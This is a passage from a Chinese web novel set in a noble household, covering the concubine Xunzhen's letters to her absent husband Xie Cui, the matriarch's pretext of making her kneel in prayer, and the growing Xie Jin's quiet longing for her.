寻真:“嗯……等你回来后跟你说。” 谢漼:“好。” 谢漼看了眼外面:“真儿,我该走了。” 寻真:“嗯。” 寻真送他到门口,谢漼倾身,亲了亲她的唇,深邃的双眸凝视着她:“此去一别,不知归期何许,我心必常念真儿。” “唯愿真儿在家中,千万保重自己。” 寻真:“知道了。” 寻真目送着他离去,谢漼走了几步后又回头。 寻真给了他一个飞吻。 谢漼转身继续走去,直至走到院门,身影即将消失不见时,他却又大步折返,来到寻真面前,胸膛微微起伏,将她环住,低头问道:“方才那是何意?” 寻真仰头看着他,又给他演示了一遍。 嘟起唇,指腹轻触,发出轻轻一声“啵”,然后,手掌向前一挥。 “飞吻。” 谢漼深深望她,低头吻下,唇齿交缠。 谢漼出发前,谢璋从谢二爷院子里跑了出来,小小的身躯被衣裳裹得圆滚滚的,立在大门口,瘪着嘴,仰着小脑袋,眼巴巴地望着谢漼。 谢漼将谢璋抱了起来,发现小家伙眼底闪着泪光。 “恒哥儿是偷跑出来了?” 谢璋的小手紧紧环着谢漼的脖子:“爹,我……” 谢漼:“恒哥儿想说什么?” 谢璋犹豫了一下,带着哭腔说道:“……我不想去伯祖父那里。” 谢漼默了会,摸着谢璋的后脑,““爹有很重要的事要去做,没办法陪着恒哥儿。恒哥儿能不能乖乖的,等爹回来?” 谢璋毕竟才三岁,正是对父母极度依恋的时候,一想到要经历长时间的别离,再也抑制不住内心的委屈,晶莹的泪珠夺眶而出,小胸膛不住地抽动着。 谢漼轻轻拍着他的背,等谢璋不哭了,才开口说道:“恒哥儿,爹必须得走了,再晚一些可就要被罚了。” 谢璋抽抽噎噎地应了一声,眼睫毛上还挂着泪珠,湿漉漉的。 谢漼唤来一旁的家仆,让他送谢璋回去。 谢漼一跃上马,扬起鞭子,马蹄声起,踏起一片飞尘。 谢漼最后转头,看了一眼谢府,疾驰而去。 纵万般不舍,他终究有更重要的事去做。 谢漼离开的第一晚,寻真就开始想他了。心里空落落的,翻来覆去,没他抱着,都睡不着了。 连着几天都是如此,甚至出现了幻觉,迷糊睡着,感觉谢漼抱着自己,睁开眼又什么都没有。深夜情绪上来,还掉了几滴泪。 戒断期大概持续了半个月。 寻真又恢复了往日吃好喝好睡好的状态。 寻真准备给谢漼写信。 谢漼临走前念了一堆,其中就包括写信,还是跟上次一样,半个月一封。当然他也不嫌多,要是她能时不时多写几封,那就再好不过了。 寻真虽然想他,深夜情绪上头的时候,又忍不住“恨”他,才在一起四个月,就被迫异地,这里又没网,见不到人,也听不到声音,只能写信联系,而谢漼归来的日子还遥遥无期,寻真越想越气,便将这些情绪一股脑地抒发到信上。 提笔就是一顿输出:我在家中过得非常好,每天吃好喝好睡好,一开始你不在还有点不习惯,时间一长,已经完全不想你了。 字里行间还委婉地暗示,大概等他回来,她对他的那么一丁点的感情,怕是已经消散得差不多了…… 几天后,谢漼的信寄来了。 【真儿如此淘气! 我自灾域返,便得真儿书,沐身薰香,就案展读,见你所言,心甚凄然,竟夜难寐。 自别后,真儿常入我梦,醒后唯觉虚空寂寥,思之愈切。 未知归期,若真儿仍如此相戏,我不知何以度日。 我心系真儿,书以寄情。 望真儿珍之,重之,万事安好。】 寻真决定还是不逗谢漼了,毕竟他在前线救灾,确实辛苦,还是应该多写些鼓励的话。 第二封就嘴甜了些,表示自己对他很是心疼,还给他加油打气。 最后还抖了个机灵,说自己的肾已经完全调养好了,问他还记不记得当初那个承诺。 谢漼这人,除了在床上,别的地方都特正经。 信上就更是了。 他自然明白寻真信里的意思,却没有直接回应,只写道:真儿身子养好,那我便放心了。 反正,别指望能从他的信里看到在床上哄她时那些甜言蜜语! 寻真与谢漼就这样互写着信,日子也一天天过去。 四个月后,凤阳府那边传来消息。 洪灾暂时得到了控制。 承安一得了消息,立刻让瑞宝前来告知。 月兰听了,开心道:“想来这回,爷应是能很快回来了吧。” 寻真三年前种下的石榴树又开花了,红色小喇叭花在微风轻轻摇曳,发出淡淡的清香。石榴树还没结果,寻真不确定是没有成功授粉,还是品种本身晚熟,又或是其他原因。 寻真决定试试人工授粉。 寻真将小竹椅搬到石榴树下,手里拿了支洗净后的废弃毛笔,一朵朵捏着花,给雌蕊柱头授粉。 授粉需要高度集中注意力,动作也要极其小心,避免损伤雌花的柱头和花蕊。 寻真才授了几朵花,背上就渗出了一层薄汗。 敲了敲背,继续。 引儿在一旁给她递工具,时不时喂她喝水。 寻真扒着一朵花,毛笔点着柱头,正专注着,忽然听见引儿唤她:“姨娘,姨娘……” 寻真头也没抬:“嗯?” 引儿:“……姨娘,是恒哥儿。” 寻真抬起头,院门大开着,不远处站了个小人儿,大大的眼睛一眨不眨地盯着她。 寻真站在小竹椅上,遥遥地跟谢璋的目光对上了。 寻真脑海中忽然浮现出谢漼的话——你不知,他对你十分孺慕。 谢璋旁边没人,他自己走到这边来的? 是他无意间逛到这里,还是…… 第92章 第92章“又逢” 寻真跟谢璋对视了大概十秒。 寻真正想着,要不要把谢璋叫进来喝杯茶 吃吃点心,那小孩便一声不吭转身跑了。 谢璋跑了一会,碰到了碧珠、翠玉二人。是二夫人院中照顾过他的丫鬟。碧珠抬眼,顺着谢璋跑来的方向望去,那边仅有一座院子,正是谢璋生母柳氏的住处。 回去后,两个丫鬟私下里一番讨论,最终还是决定去向二夫人禀明此事。 孙宜开口问道:“你二人可是带他到那处附近玩耍了?” 二丫鬟忙不迭摇头,解释道是带谢璋去了锦翠园,那儿与清挽院相隔甚远。因谢璋总爱四处乱跑,二人便时刻紧盯,他一跑远,便立刻追了上去,一路竟追到了清挽院。 碧珠道:“恒哥儿像是认得路呢。” 孙宜若有所思。 孙宜身旁的嬷嬷接口道:“五公子那般宠爱柳氏,定是将恒哥儿抱去认过人了,恒哥儿本就比旁的孩子聪慧些,认得路也属正常。” 孙宜微微颔首:“应是如此……” 温嬷嬷又问:“可要去提点那柳氏几句?” 孙宜:“且再看看……那柳氏若坏了规矩,逾矩犯禁,再说也不迟。” 寻真这边日子过得平淡如水,谢进那边却截然不同。 自谢进今年过完生辰,大夫人便开始为他的终身大事张罗起来。又是拿着各家闺秀的画像让他挑,又是设宴安排,引他前去,让他远远瞧上一眼,一心想为他早日定下亲事。 谢进接连被骗了几次后:“娘,您能不能别再骗我了!” 钱氏:“我若不如此,你肯去吗?” 男孩子大了,一月一个样,如今已超过钱氏一个多头。钱氏与他说话,需仰起头来。 个子长了,可这心性怎还没变? 钱氏:“好,今年不看,明年看。” 谢进:“等我有了功名再说。” 钱氏:“那要等到何年何月?你若一辈子考不上,一辈子都不娶媳妇了?” 谢进涨红了脸,他今年二月参加童生试,首场便失利。先生也说了,他如今学问,入场太早,谢进一心想要证明自己,没成想丢了这么大的脸,连第一场都过不了。考完后,将自己关在房里,数日不出。 钱氏安慰,没有功名也没关系。钱绮素来不苛责儿子读书,觉得儿子若乐意读书自然是好,若是读不出什么名堂,也无妨。反正谢府也能养他一辈子。 钱绮这开明的想法,不是一朝一夕形成的。 其实,谢进曾有个嫡亲大哥,在七岁那年夭折了。 那时,谢怀礼对大儿子寄予厚望。 谢怀礼自幼被庶弟处处压制,读书、做官样样比不上,这份执念自然而然地转移到了儿子身上。 儿子三岁时,他便请来先生开蒙,平日对儿子极为严格,无论寒冬酷暑,从不让他松懈。可没想到,大儿子在冬日挑灯夜读时受了风寒,最终不幸夭折。 去世前一天,儿子还念叨着等病好了要出府玩。 夫妇俩悲痛欲绝。 谢怀礼也因此顿悟,明白有些事强求不来。自己在读书上没什么天赋,又怎能苛求儿子呢? 谢怀礼中年得了谢进一子,便不再要求谢进,任由他自由自在、无忧无虑地成长,也算是弥补对大儿子的遗憾。 被二房压制了大半辈子,纵是想不通,也不得不被迫想通。 人家读书的好苗子一个接一个地来,哪里比得过! 谢进急得跺了一脚,端了许久的稳重模样瞬间破功,丢下一句:“我明年定会考上的!”便扭头跑开了。 “这孩子!”钱绮看着儿子的背影,对徐嬷嬷说道,“以前没见他对读书这么上心,现在倒好,铁了心要先拿了功名才肯娶亲,这真真是……” 徐嬷嬷暗示道:“如今十五公子还未……自是不知道娶妻的好处。” 钱绮意会,隔日便送了三个如花似玉的丫鬟到谢进房中。结果,当晚便被谢进退了回来。 钱绮又气又急,拍着桌子道:“这混小子,成心跟我对着干!小时候多听话,现在怎变成这样了!” 徐嬷嬷:“夫人莫气,炎哥儿才十四,倒也不急,兴许明年便懂事了,能明白夫人的一番苦心。” 就这样,谢进在与母亲的“较劲”中又长了一岁。 转眼间,便要过十五岁生辰了。 自去年冬日老夫人受寒后,便一直卧病在床,一整年都没怎么下床走动。今年初春,老夫人精神稍稍好了些,恰逢谢进生辰,便准备给孙儿好好庆祝一番。 因此,寻真又收到了谢进的生辰宴邀请函。 月兰在一旁劝道:“姨娘,要不就回绝了吧,派人送份礼过去便是。” 引儿点头附和。 两丫鬟至今心有余悸,上回参加谢进的生辰宴,就出了事,都觉得寻真不去为好。 其实,若让刚吃过亏的寻真自己选,肯定是不去。可距离那件事已经过去两年,寻真都快忘了。再加上在小院子里关了整整一年,寻真觉得自己快发霉了,好不容易有热闹可看,当然要去! 谢进生辰宴当日。 寻真站在主厅中,四处望望,今年来的人格外多。 容楣三年的幽禁期已满,也不知道会不会被请来,寻真的目光在人群中四处游移,锁定在一人脸上,有些眼熟,又不敢确定。 那人却笑着走过来了。 “柳姐姐!” 还真是她! 是两年前与寻真有过一面之缘的念芙。 “念芙!” 两年过去,念芙变了个人似的,寻真还记得初次见面时,她眼中含着几分怯,举手投足间都透着初来乍到的拘谨。现在完全不一样了,念芙身着华服,穿金戴银,全身上下写满了贵气二字。 说来也巧,这次寻真与念芙还是坐在同一桌。念芙与旁人换了位置,坐到了寻真身旁。 念芙上下瞧瞧寻真:“柳姐姐,两年未见,你怎一点都未变呢!” 寻真心中感慨,念芙可是变得太多了,她都没认出来,要不是念芙主动来找她,她估计都不敢认。 寻真看着念芙一身的珠光宝气,想来她应该过得不错。 “这两年你过得如何?” 念芙眉开眼笑:“说来,还得多谢柳姐姐教我的那些招数,如今四爷已很少宠幸旁人了。”说着,她张开双臂,展示着身上金光闪闪的衣裳和首饰,“你看,如今我过上了以前想都不敢想的日子,这可都多亏了柳姐姐!” 接着,念芙又兴致勃勃地向寻真讲自己是如何将那些招数运用到实际生活中的,还分享了实操时需要注意的细节。 寻真听得目瞪口呆。 哪能想到念芙实行得这么好,还有了属于自己的一套方法论。 念芙一直对寻真心怀感激,能将如此实用的方法传授给自己。此次见面,她便把自己的心得毫无保留地告诉了寻真。 寻真听念芙讲着如何将“欲擒故纵”运用得出神入化,感叹道:“你这也太强了!” 念芙压低声音,凑近道:“哪比得上姐姐!我可都听说了,五公子连着四个月都住在姐姐那儿,就连离府那日都陪着姐姐……” 寻真:为什么这事连念芙都知道了! 寻真脸有点红。 念芙继续说:“果真是父子俩,都吃同一招呢,柳姐姐的那些法子有用极了……我都不知该怎么感谢柳姐姐了。” 寻真的节操掉了一地:“……主要还是靠你自己的本事。” 念芙:“对了,上回姐姐怎突然走了?我等了姐姐许久,都不见你回来,还以为你出了什么事,担心好久呢。” 寻真:“没事,就是突然有些不舒服,便提前走了。” 下午还是一样,看节目。 二人正聊得起劲,突然有丫鬟上前通知,说老夫人要见寻真。 寻真愣了,老夫人? 一时没反应过来,那丫鬟伸手示意道:“姨娘请吧,莫让老夫人久等。” 月兰和引儿正跟上,却被丫鬟拦住:“老夫人只见姨娘一人。” 二人脸上露 出焦急的神色。 老夫人怎突然要见姨娘?莫不是夫人在老夫人那儿说了什么坏话? 寻真亦是忐忑不安,她终于要开启宅斗线了? 老夫人并不像寻真想象中那么凶神恶煞,就是普通老太太的样子,脸上几分倦色,看上去身体不太好。 寻真偷偷瞄了一眼,稍稍安定,行了个礼,垂首站在老夫人面前,不语。 老夫人声音略显浑浊,问道:“你就是柳氏?” 寻真道:“是。” 老夫人又说:“抬起头来。” 寻真抬头,跟老夫人对视。 老夫人打量着她,说道:“倒是个灵秀的人儿,怪不得五郎这般宠着。” 接着,老夫人身旁的嬷嬷捧来一个匣子,在寻真面前打开,里面是一只翡翠镯子。谢漼送了她不少好东西,寻真也因此练就几分眼力,一看便知老夫人送的这只镯子价值不菲。 寻真本想推辞,可她本就不擅长交际,以往过年亲戚送红包,她从不客套迂回,直接收下,更别说穿到这后,几乎不与外人打交道,交际能力更是退化了。 思来想去,她觉得还是不客套为好,免得更加尴尬,干脆收下,戴在手腕上,向老夫人行礼道:“多谢老夫人赏赐。” 老夫人的目光在寻真身上扫了一圈,寻真坦然回望,并未觉得这老太太有多可怕。 老夫人道:“我近日正礼佛,为子孙求个福运。看你这丫头,甚是合我眼缘。你若不嫌弃我这把老骨头,可愿随我一同?” 寻真哪能说不行,行了个礼,应下了。 随后,老夫人便让她退下。 老夫人身旁的嬷嬷走上前,对她道:“老夫人卯时四刻便开始礼佛,你最好早些过来,二刻便可,正好能服侍老夫人用膳。” 这嬷嬷本以为寻真听了这个消息,会欣喜若狂、感恩戴德,毕竟以她的身份,平日里连给老夫人端茶的资格都没有,如今能与老夫人一同礼佛、用膳,实在是莫大的荣幸。可寻真却一脸平静,嬷嬷心中不禁觉得,这柳氏当真小家子气。 寻真哪里装得出感恩戴德的样子,脑中只有—— 卯时二刻,卯时二刻,卯时二刻。 那可是早上五点半! 天啊! 她再也不觉得这老太太没威慑力了。 寻真懵归懵,还是不忘问了下,陪老夫人要多久。 那嬷嬷道:“自是从早至暮,日以继日,唯有诚心向佛,方能得佛祖庇佑。” 也就是说,没有明确的期限…… 寻真一脸天塌了。 第93章 第93章“不祥” 寻真走后。 老夫人捻着一串佛珠,见福嬷嬷进来,开口问道:“如何?” 福嬷嬷脸上闪过一丝不屑:“少夫人所言不虚,这柳氏当真一副小家子做派。能伺候您用膳,她竟不知感恩,瞧她那脸色,分明还有些不情愿呢。” 老夫人沉吟片刻,缓缓说道:“明日便让她来吧。” 寻真回到位置,念芙满脸关切,凑近问道:“柳姐姐,老夫人找你做什么?” 寻真还是无法接受这个事实,魂都没了,喃喃道:“……叫我陪她礼佛,用早膳。” 念芙惊愕:“老夫人怎会叫你?” 寻真现在已极度后悔,为什么要凑这个热闹,一想到从明天起,每天都要去老太太那儿报到,从早到晚念佛,而且这日子还不知道什么时候结束,寻真只觉得前路一片灰暗,很绝望。 念芙压低声音道:“……柳姐姐,那老夫人可不是个好相与的,你可得……千万小心呀。” 寻真:“……谢谢。” 寻真没了看节目的兴致,与念芙道别,回院子。 两丫鬟听闻这消息,也是一脸无奈。 月兰:“老夫人都这么说了,姨娘便只能去了。” 寻真可不想坐以待毙,当机立断,给谢漼写了一封信,告诉他,老夫人要求寻真每天卯时二刻过去陪她礼佛、用膳,且没提及何时结束这回事。写好后,立刻让瑞宝将信寄出,特别强调——十万火急。 瑞宝说急件大概六天能到,一来一回便是十二天。 寻真将全部希望都寄托在谢漼身上。 翌日,天还未大亮,寻真便被月兰叫了起来,坐在妆台前,困意阵阵,频频打着哈欠。 月兰为她梳头时,寻真突然想到一事,很关键:“礼佛是不是要一直跪着?” 得到两丫鬟肯定的答复后,寻真立刻让两人找两坨棉花,缝在中裤上。 两丫鬟纷纷表示不认同,认为这种做法会让诚心大打折扣,是对佛祖的大不敬。 月兰:“万万不可,姨娘,若是佛祖看到您这般糊弄,定会怪罪。” 寻真振振有词:“这些不过形式,只要心中有佛,便不算不敬。更何况,佛经中也讲了,‘若欲修行,在家亦得,不由在寺’,重点在于内心虔诚,而非取决于外在形式。” “佛祖普度众生,若是在天上看到我一个弱女子因每日跪拜而伤了腿,定也会心生不忍。” 寻真有理有据,三言两语便说服了两个丫鬟。 紧急加工完毕,寻真拿起裤子抖了抖,确认棉花不会掉落,安心穿上。 前往老夫人的院子。 寻真在偏屋候着,不多时,福嬷嬷进来说,老夫人身体不爽利,今日就不起来了,还让她将歉意转达给佛祖。 寻真强笑着应下,然后被引至佛堂。 佛堂中,有一尊巨大的金身佛像,庄严肃穆。寻真虽不信佛,但见到这么宏伟的佛像,仍觉震撼,内心也涌起敬畏之心。 佛像前只有一块硬邦邦的蒲团,寻真揣测,这老太太是不是故意这么安排,好折腾她。 更过分的是,还派人盯着她跪。 还好提前在裤子上缝了棉团,不然一天跪下来,腿岂不是要废了? 中午送来的餐全素,清汤寡水,加了几片一看就让人没食欲的菜叶,饭还特别干巴,寻真担心下午没力气跪,勉强吃完了。 寻真下午就没那么规矩了。 那嬷嬷就坐在她左侧,寻真用余光偷偷瞄着,见她眼睛眯起,打瞌睡了,她就赶紧坐下休息。之后还时不时尿遁、屎遁,在净房多呆一会。一个下午就应付过去了。 当然,那嬷嬷对她频繁去净房的行为极为不满:“姨娘莫不是为了偷懒,故意骗老奴说要去净房吧?” 寻真一脸正色,辩驳道:“怎会?我自然是对佛祖一万个尊敬,只是,人有三急,这事儿实在忍不了,总不能让佛祖在天上看笑话吧?” 那嬷嬷:“那为何每次都要耗上一刻的工夫?” 寻真:“出恭本就有快有慢,我恰好就是慢的那种。” 嬷嬷眼中满是不加掩饰的嫌弃,心中暗道,这谢府里的内眷,哪个似她这般,不知规矩体统,全无女子的矜持之态。 寻真却管不了旁人怎么想,外在形象哪有自己的身体舒坦重要。 即便与嬷嬷斗智斗勇,摸了不少鱼,一天下来,寻真还是累得腰酸背疼。 离开时,嬷嬷还特意提醒,让她明天照旧这个点,千万别迟到。 这样的日子,还要持续十二天。 而且,寻真心中还有不祥的预感——谢漼很有可能不会帮她。 寻真回到院子,整个人瘫倒在床上,起不来了,精疲力竭。还好有月兰、引儿,帮她捏腿、揉膝盖。寻真迷迷糊糊睡着了,又被拍醒。月兰将饭菜端到床边,寻真看了眼菜,大惊:“怎么全是素的?!” 月兰:“方才老夫人特地派人来说,姨娘如今在礼佛,自是不能沾荤腥,要开始每日吃素了。” 寻真又遭重创。 寻真随便吃了几口,简单洗漱后便躺下了。 一想到明天,以及之后的日子都要重复这流程。 没一点盼头了。 第二天醒来,寻真感觉腰背和腿比昨天更酸痛。 老夫人依旧“身子不爽利”,寻真拖着酸软的双腿,从正房出来。 迎面遇上一人,那人身着锦袍,身形高挑。 因逆着光,寻真没看清面容。 近了,便看清了。 那人在院门前停下脚步,似乎是让她先行。 少年面庞干净俊朗,身形竹节似的挺拔。 寻真暗叹,这年轻小伙长得挺帅,还有些眼熟。又想,谢府基因不错,府上少爷众多,寻真逛园子时就见过几个,个个都生得好看,可能沾点血缘,多多少少都有些相像吧。 少年立在门口, 目光一直追随着她,寻真疑惑,这人为什么一直盯着她看? 难道她脸上沾了什么? 寻真摸着脸,走出几步后,反应过来,瞧她,都累糊涂了。 这不就是谢进么! 寻真感叹,都长这么大了。 刚认识谢进时,他还比自己矮呢,才五年,都窜这么高了。 好像跟谢漼也差不了多少了? 又思维扩散,谢家应该带了点高个基因吧? 寻真朝佛堂走去,谢进则走进了正房。 老夫人听闻乖孙儿来看自己,立刻从里屋出来,吩咐下人泡茶,还让人送来谢进最爱吃的点心。 谢进与老夫人寒暄几句,终于还是忍不住问道:“祖母,方才那人是谁,我怎从未见过?” “无关紧要之人……”老夫人不欲多谈,转而提起另一个话题,“我已从你母亲那听说了……炎哥儿,可与你祖母讲讲,为何不愿娶亲?” 谢进没料到祖母也会问这个,只得回道:“孙儿并非不愿,只是想等考取功名之后再……” 老夫人:“娶了媳妇也一样能考,若考不中也无妨。要是你爹逼你读书,就告诉祖母,祖母给你做主。” 谢进:“没人勉强我,真是我自己想读……” 谢进无力,似乎没人相信他能在学问上有所成就,年岁渐长,可大人们依旧把他当小孩子看待,对他没有任何要求。 谢进不禁想,五兄在他这个年纪时,大人们肯定不是这般态度吧? 谢进回到自己院中,吩咐阿智去打听,很快知晓。 原来姐姐是在替祖母礼佛,为谢氏子孙祈福。 眼前不由浮现出刚才的场景。 自己与姐姐已近两年未见。 姐姐一点都没变,还是和从前一样。 但再次见到姐姐,自己的心境却与以前完全不一样了。 寻真煎熬得过着日子,每天回到院子,几乎倒头就睡。醒来后,就要去老夫人院中。那老太太有时候也不装病,起身了,寻真还得服侍她用早膳。 还不如装病! 而且这老太太就没去过佛堂,寻真已经明白了,老太太就是故意折磨她。 连着累了五天,寻真实在吃不消,又给谢漼写了一封信,说自己整天跪着,腿痛得厉害,走路都要人搀了。 这十二天。 寻真就感觉自己像是被关进厂里,打黑工。 寻真偶尔会碰见谢进,如果谢进先到,她就只能在门口等着。若谢进在她之后到,那老太太就会赶紧让她走。 两人在门口擦肩,互相对视一眼,都默契地不说话,装不认识。 谢进十岁时共情力就强,如今也一样。 谢进可是老夫人的心头宝,要是让老夫人知道他们认识,寻真可就惨了。 所以两人从不交谈。 谢进知道寻真每天都在佛堂跪着,心里着急,却又无计可施。对他来说,什么都不做,或许就是对寻真最大的保护了。 但凡他在老夫人面前求情,反倒可能害了她。 谢进心里不是滋味,祖母对他极好,在他眼中,祖母一直是和蔼可亲的。 可如今祖母却用后宅这些磋磨人的手段对待姐姐。 谢进只觉失望,满心无力。 长大后,他才发现,许多事情并非如自己想象中那般美好。在他眼中极好的人,有时也会做出让他难以接受的事。 寻真从未如此期盼收到谢漼的信。 真收到了,反倒不敢打开。 寻真跪了一天,拖着疲惫不堪的身子回到院子。月兰说谢漼的信已经送到了,寻真拿着信,迟迟没有拆开。 深吸一口气,打开。 心中不祥的预感果然成真。 谢漼信中的意思大概是——老夫人让她一道礼佛,为谢氏子孙祈福,这是好事,让她莫要辜负老夫人的看重,好好表现。 寻真看完,气哭了。 月兰端着晚膳进房,见寻真怔怔地望着窗,手边的信被揉成一团,眼下还有未干的泪痕。 月兰放下膳食,关切问道:“姨娘,这是怎了?” 寻真捏着拳头,咬着牙根:“我没事,我很好。” 死男人不帮她。 只能自救。 翌日早上,寻真跪在佛像前,绞尽脑汁思考如何才能让老太太放弃折磨她。 寻真一晚上没睡好,梦里都在咒骂谢漼。 脸上顶着两个大大的黑眼圈,眼中却透着一股子光亮。 她现在思路无比清晰。 老太太这么迷信,那么就只能—— 用魔法打败魔法。 寻真脑子里很快有了计策,正要实施,外面传来脚步声,寻真扭头望去,是老夫人贴身伺候的福嬷嬷。 这人长得老实,办的事却一点不地道,两个老太太狼狈为奸,合起伙来欺负她。 寻真心想,这又不知道想出什么诡计来折磨她了? 寻真正打算先发制人,却听福嬷嬷道:“姨娘,这几日你的辛苦,老夫人都瞧在眼里,回去吧,日后不必再来。” 寻真没反应过来,不敢相信折磨就这么结束了:“……我日后都不用来了?” 福嬷嬷板着脸:“姨娘可是不信老奴说的?” 寻真忙告辞。 不明白老太太为何突然改变主意,也没有深究。 寻真大白天躺在床上,边吃零食边看志怪小说,热泪盈眶。 终于明白网友们说的——上几天班你就知道在家里瘫着有多幸福了! 过了几日,引儿将打听来的消息告诉寻真。 据说有个方士给老太太算命,说她身边有一人克她。老太太查了院中所有人的八字,最后锁定到寻真身上。所以一大早就着急忙慌把她赶走了。 老夫人的事儿还能给引儿打听到? 引儿的消息未免太灵通了? 寻真:“你听谁说的啊?” 引儿俏皮地眨眨眼:“瑞宝告诉我的。” 好吧。 懂了。 但寻真还是气,于是一个月都没给谢漼写信。 谢进那边,一连七天都没再碰上寻真。 在回廊,听丫鬟们讨论,说起方士,这才知晓寻真的事。一股难以言说的失落涌上心头。 这样一来,便再也看不到姐姐了。 但……还是为姐姐松了口气。 谢进近日心情不佳,钱绮第一个察觉到了异样。 一同用膳时,见儿子脸 上挂着淡淡的哀愁,嘴角也往下撇着,关切地问了几句,儿子只说没事。 钱绮将谢进的贴身小厮阿智叫来询问,没问出什么。 一日午后,钱绮去找谢进。 远远瞧见他在水榭中作画,面前坐着一个丫鬟,正是石榴。 钱绮走近了瞧,二人并未发现自己,钱绮路过树,便顺势掩在树后,偷偷观察。 只见石榴眼中情意绵绵,满眼都是对儿子的倾慕之情,再看谢进,他眼中似也藏着几分情? 钱绮心想着儿子终于开窍了? 可她对谢进房中事了如指掌,谢进如今,并未收用石榴。 钱绮从树后走出,石榴发现了,赶忙起身,给钱绮行礼。 谢进唤了一声娘,叫石榴退下。 母子俩在水榭中说话。 钱绮瞄了眼谢进手中的美人图,乍一看,觉得有些奇怪,可一时半会儿又说不上来怪在哪里。画中女子,虽眉眼间和石榴有几分相像,但仔细看,却好似完全不同的两个人。又想,儿子向来在笔墨书画上头没什么天赋,画成这样倒也正常,于是便按捺下心中的疑惑。 她笑着看向谢进,又往石榴离去的方向瞧了一眼,调侃道:“方才,你二人怎这般你侬我侬地坐在这儿对望啊?” 谢进瞪大眼睛,将画折拢,放到一旁:“娘!你乱说什么呢!” 钱绮点了点那画:“那你为何在这水榭与她独处,还为她作画?” 谢进:“儿子只是在练画,您别乱想!” 钱绮突然找到关窍,儿子莫不是和石榴两情相悦,所以才一直不愿意结亲?儿子本就单纯,还真有可能做出这种事。 想到这儿,便直接问道:“你莫不是背着我与石榴私定终身了?” 谢进眼珠子瞪得比刚才更大了:“我与石榴什么都没有!” “若没有,自是好。”钱绮道,“她是奴,你是主,你若宠她,自可给她一份体面,抬作妾室。你若存了旁的心思……坏了规矩,传出去让人笑话。” 又举了个例子:“你再看看你五兄,那般宠他那个妾,还不是得安安分分娶个身家清白的正妻?你若犯浑,这石榴,可就留不得了。” 谢进:“娘,我与石榴真的什么都没有!” 钱绮:“好,娘信你。” 可钱绮到底还是不放心,便把石榴叫来敲打一番。 这丫头倒也老实,上回让她主动些,她也没把钱绮供出去,只自己认下了,钱绮便知道她是个本分的。 钱绮敲打了几句,见她瑟瑟发抖,也没再继续吓唬。 “起来吧,叫你去伺候少爷,可别再起那些不该有的心思,要心气高了,我便不能留你,可懂?” 石榴伏在地上:“奴婢知道。” 钱绮想了想,又问道:“你伺候少爷这些时日,可曾发现少爷有何异常之处?” 石榴:“少爷平日里都在书房,潜心读书,并无不同寻常之处。” 钱绮沉默片刻,摆了摆手:“退下吧。” 石榴跪久了,腿发软,起身时,两腿直打颤。 往回走时,她目光空洞地垂在地上。 当然有了。 少爷偶尔望向她时,就像是透过她在看另一个人。 那目光隐隐含情。 但她怎能将少爷的私事说出去呢? 第94章 第94章“断送” 谢漼半个月都没收到寻真来信,在信中提醒,莫不是把写信这事儿给忘了?他可一直盼着她的信呢。 寻真没理,又是半个月过去,谢漼信中,先是问候她的身体状况,接着谈起近况,最近闹了一波时疫,他没日没夜忙,写信时,脑子昏昏沉沉,似乎也感染上了。 然后信的末尾又表示,许久没收到她的信,心里十分挂念,想知道她的近况,盼复。 寻真看完,还真被他这苦肉计给触动了一下,但又想,谢漼懂医术,若是真感染上,还能诊不出?他说的这么模模糊糊,应该没事。 还是没有回复。 又过了半个月,谢漼在信中直接点明:真儿这般记仇!以你之智,岂会不明?要气我到何时?待这疫患一除,我便得暂假回家,与你相聚。望勿再恼,切切盼你回书。 寻真总算回了,信上只有了一句,大概意思是——哦?真的吗?该不会又给我开空头支票吧? 谢漼回复:自然是真,亦有提早可能。 两人你来我往地写信,时间飞速,一转眼就到了六月。 寻真种的石榴树结果了! 一日清晨,寻真站在小竹椅上,数了数,共结了十五个果子,引儿从墙外跑进来,“姨娘,外头还长了两个呢。” 寻真心想,人工授粉还挺有效果,也不知这个品种甜不甜。 要八、九月份才能知道了。 而且果子会一年比一年多,两三年后,等石榴树进入盛果期,枝头就满是石榴,吃都吃不完,寻真回想起穿越前推车去卖石榴的情景,感觉已经离她很遥远了。 寻真仰头望着石榴树,长长叹了一口气。 今日天气晴好,谢进本打算去府外逛逛,出了院之后,竟不知不觉往西边走去,等回过神,寻真的小院已近在眼前。 但谢进答应过谢漼,不会和寻真有任何往来,既然承诺了,定要遵守。 谢进正要转身,却瞥见墙外伸出的树枝上,吊着两颗青色的石榴。 初见寻真时的场景在脑中浮现。那时谢进为了躲避小厮,跑进她的院子,寻真正在院中做椅子。 谢进记得,姐姐院子里种了许多果树。 他长在乡野,自然认得,一边是橘子树,另一边是石榴树。 如今姐姐种的石榴树已结果了。 谢进小心往墙边靠近,心脏跳得飞快,大高个微弯着腰,贴在墙边,听了一会儿,听到里面的谈话声——是姐姐在与那两个丫头说话。 谢进听了一会,看着头顶上方的果子,竟鬼使神差地摘了下来, 谢进两只手各抓一个石榴青果,他反应过来自己做了什么,吓得不轻,差点把果子丢出去。 谢进何曾做过这种偷果子的事。 脸臊得通红,做贼心虚溜了,跑出去一段距离,他靠在墙边,拍了拍胸口,看向手中的两颗青果子。 忽然感觉衣摆被扯动了。 谢进转过身,对上谢璋的大眼睛,吓得蹦了一下。 谢进望了眼寻真小院的方向,蹲下来,对谢璋比了个“嘘”的手势。 “恒哥儿,你刚才什么都没看到吧?” 谢璋注视着他,声音冷冷静静:“看到你偷了两个果子。” 谢进第一回做“贼”,就被抓个正着,尴尬极了,往谢璋手里塞了一个:“你要不要?,这可是你娘种的石榴树结的果子。” 谢璋一只手拿不住,便双手捧在胸前。 谢进又比了个嘘:“恒哥儿就当做没看见好不好?” 谢璋没说话。 少年蹲在男孩面前,石榴果兜在衣服里,双手合十,冲男孩拜了拜。 谢璋:“知道了。” 一大一小往回走。 谢进与谢璋闲聊了几句,便作别,各自回屋。 谢璋捧了石榴果回去,立刻被贴身服侍他的丫鬟注意到了。 碧珠:“恒哥儿,这是从哪里捡的石榴?这还是青的呢,可不能吃。” 碧珠弯下腰,正要从谢璋怀里拿走,谢璋躲开了她的手:“我知道。” 谢璋将青石榴放在书桌一角。 不让任何人碰。 翠玉把碧珠拉到外面,压低声音道:“碧珠,你还记不得,那柳氏……院子里就种了石榴?” 碧珠:“是么……我好像记不太清了。” 两丫鬟便跑出去确认,寻真的院门开着,二人远远地瞧,见里面树上结的果子和谢璋桌上的一模一样。 二丫鬟便都觉得,恒哥儿那个石榴,定是从柳氏那儿拿来的。 至于是怎么拿到的,两人讨论了半天也没个结果。 碧珠:“定是柳氏摘来给他的……恒哥儿自己怎摘得到?” 